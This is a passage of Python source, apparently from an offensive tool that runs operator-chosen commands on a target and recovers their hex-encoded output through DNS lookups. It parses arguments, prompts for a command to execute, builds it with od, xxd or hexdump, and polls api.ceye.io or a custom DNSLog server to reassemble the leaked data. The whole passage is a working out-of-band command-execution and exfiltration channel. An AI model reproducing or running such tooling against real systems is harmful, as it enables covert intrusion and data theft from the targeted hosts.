"--linuxhex", help="Linux HEX tool") 283 | parser.add_argument("--force", action="store_true" , help = "force deal_ds_data") 284 | args = parser.parse_args() 285 | if args.linuxhex == "od": 286 | tool="od" 287 | elif args.linuxhex == "xxd": 288 | tool="xxd" 289 | else: 290 | tool="hexdump" 291 | if args.domain_server == None: 292 | if args.model == "GR": 293 | if args.dnsurl == None: 294 | print("without ceyedns!") 295 | sys.exit(0) 296 | if args.token == None: 297 | print("without ceyetoken!") 298 | sys.exit(0) 299 | if args.lastfinishtime == None: 300 | print("without lastfinishtime!") 301 | sys.exit(0) 302 | lastFinishTime = args.lastfinishtime 303 | get_config() 304 | domain = args.dnsurl 305 | filterdns = args.filter 306 | dnsurl =args.filter + "." + args.dnsurl 307 | print(dnsurl) 308 | token = args.token 309 | print(token) 310 | else: 311 | if args.dnsurl == None: 312 | print("without ceyedns!") 313 | sys.exit(0) 314 | if args.token == None: 315 | print("without ceyetoken!") 316 | sys.exit(0) 317 | filterdns = generate_code(8) 318 | domain = args.dnsurl 319 | dnsurl = filterdns + "." +args.dnsurl 320 | print(dnsurl) 321 | token = args.token 322 | print(token) 323 | command = input("请输入想要执行的命令:") 324 | get_new_config() 325 | generate_command(tool) 326 | else: 327 | if args.model == "GR": 328 | if args.token == None: 329 | print("without token!") 330 | sys.exit(0) 331 | if args.lastfinishtime == None: 332 | print("without lastfinishtime!") 333 | sys.exit(0) 334 | if args.count == None: 335 | print("without count") 336 | sys.exit(0) 337 | count_counts = args.count 338 | count_counts = int(count_counts) 339 | lastFinishTimes = args.lastfinishtime 340 | tokens = args.token 341 | domain_server = args.domain_server 342 | dataList = [] 343 | skipLinesRe = 0 344 | get_config() 345 | else: 346 | if args.timezone == None: 347 | print("without timezone") 348 | sys.exit(0) 349 | if args.count == None: 350 | print("without count") 351 | sys.exit(0) 352 | command = input("请输入想要执行的命令:") 353 | domain_server = args.domain_server 354 | count_counts = args.count 355 | count_counts = int(count_counts) 356 | time_zone = args.timezone 357 | dataList = [] 358 | skipLinesRe = 0 359 | get_ds_config() 360 | generate_command(tool) 361 | 362 | while True: 363 | if finishOnce: 364 | if args.domain_server == None: 365 | get_new_config() 366 | filterdns = generate_code(8) 367 | dnsurl = filterdns + "." +args.dnsurl 368 | print(dnsurl) 369 | token = args.token 370 | print(token) 371 | command = input("请输入想要执行的命令:") 372 | generate_command(tool) 373 | else: 374 | dataList = [] 375 | skipLinesRe = 0 376 | command = input("请输入想要执行的命令:") 377 | get_ds_config() 378 | generate_command(tool) 379 | 380 | if not args.domain_server == None: 381 | if getResult and getGR: 382 | get_piece_config() 383 | if not getGR and firstGR: 384 | if operator.contains(tokens,","): 385 | tokensList = tokens.split(",") 386 | lastFinishTimesList = lastFinishTimes.split(",") 387 | tokenLen = len(tokensList) 388 | l = 0 389 | token = tokensList[l] 390 | lastFinishTime = lastFinishTimesList[l] 391 | else: 392 | token = tokens 393 | lastFinishTime = lastFinishTimes 394 | if not getGR and not firstGR: 395 | if getResult: 396 | commandStartPos = 0 397 | commandEndPos = 0 398 | lastRecordLen = 0 399 | getResult = False 400 | token = tokensList[l] 401 | lastFinishTime = lastFinishTimesList[l] 402 | 403 | for i in range(requestTime,-1,-1): 404 | print('\r', 'Wait DNSLog data: {}s...'.format(str(i)), end='') 405 | time.sleep(1) 406 | try: 407 | if args.domain_server == None: 408 | url = "http://api.ceye.io/v1/records?token=" + token + "&type=dns&filter=" + filterdns 409 | else: 410 | url = domain_server + '/' +token 411 | #proxies = { 'http':'http://127.0.0.1:8080' } 412 | if args.httpbasicuser == None: 413 | responsestxt = requests.get(url, proxies=False, verify=False).text.lower() 414 | result = json.loads(responsestxt) 415 | else: 416 | responsestxt = requests.get(url, proxies=False, verify=False,auth=HTTPBasicAuth(args.httpbasicuser, args.httpbasicpass)).text.lower() 417 | result = json.loads(responsestxt) 418 | if args.domain_server == None: 419 | result = result['data'] 420 | if result == []: 421 | result = NULL 422 | result = sorted(result, key=lambda x: int(x['id'])) 423 | else: 424 | result = sorted(result.items(), key=lambda x: int(x[0])) 425 | except: 426 | print('\r', 'Not Find DNSLog Result!', end='') 427 | continue 428 | 429 | commandStartFlag = 1 if lastRecordLen == len(result) else 0 430 | lastRecordLen = len(result) 431 | commandEndFlag = 1 if commandEndPos == len(result) else 0 432 | commandEndPos = len(result) 433 | 434 | if args.domain_server == None: 435 | if not commandStartPos and ((result[-1]['name'].count('.')) == 5 or 436 | commandStartFlag): 437 | # judge if the DNSLog recording is start 438 | if result[-1]['created_at'] < lastFinishTime: 439 | print('\r', 'Not Find DNSLog Result!', end='') 440 | continue 441 | commandStartPos = len(result) 442 | commandName = result[-1]['name'].split('.')[1] 443 | print('\nFind Command Record!...') 444 | print('----Command: \033[36m{}\033[0m----'.format(commandName)) 445 | commandHex[commandName] = [] 446 | print('Wait Command DNSLog Record Finish...') 447 | if commandStartPos and ((result[-1]['name'].count('.')) != 5 or 448 | commandEndFlag): 449 | # judge if the DNSLog recording is over 450 | commandEndFlag = 1 451 | #print('Command DNSLog Record Finish...') 452 | 453 | dataList = get_dnslogdata() 454 | deal_data(dataList) 455 | else: 456 | if not commandStartPos and ((result[-1][1]['subdomain'].count('.')) == count_counts or 457 | commandStartFlag): 458 | # judge if the DNSLog recording is start 459 | if result[-1][1]['time'] < lastFinishTime: 460 | print('\r', 'Not Find DNSLog Result!', end='') 461 | continue 462 | commandStartPos = len(result) 463 | commandName = result[-1][1]['subdomain'].split('.')[1] 464 | print('\nFind Command Record!...') 465 | print('----Command: \033[36m{}\033[0m----'.format(commandName)) 466 | commandHex[commandName] = [] 467 | print('Wait Command DNSLog Record Finish...') 468 | if commandStartPos and ((result[-1][1]['subdomain'].count('.')) != count_counts or 469 | commandEndFlag): 470 | # judge if the DNSLog recording is over 471 | commandEndFlag = 1 472 | #print('Command DNSLog Record Finish...') 473 | 474 | # dataList = get_ds_dnslogdata() 475 | dataDns = get_ds_dnslogdata() 476 | if not dataDns == None: 477 | dataList.extend(dataDns) 478 | firstGR = False 479 | 480 | if not dataDns == None: 481 | getResult = True 482 | if operator.contains(responsestxt,"31313131") or operator.contains(responsestxt,"0a31"): 483 | get_line(dataList) 484 | if not args.force: 485 | judgeDealData = input("\n疑似为最后一块,请输入Y/N决定是否开始处理数据:").lower() 486 | else: 487 | get_line(dataDns) 488 | # print("本次获取到的数据为"+len(result)+"行") 489 | if not args.force: 490 | print("\n未发现结束符号,继续执行") 491 | 492 | if judgeDealData == "y": 493 | deal_ds_data(dataList) 494 | else: 495 | if args.force: 496 | if operator.contains(args.token,","): 497 | if l == len(tokensList) - 1: 498 | deal_data(dataList) 499 | else: 500 | l =l + 1 501 | else: 502 | deal_data(dataList) 503 | elif not dataDns == None and not getGR: 504 | l = l + 1 505 | # print(l) 506 | --------------------------------------------------------------------------------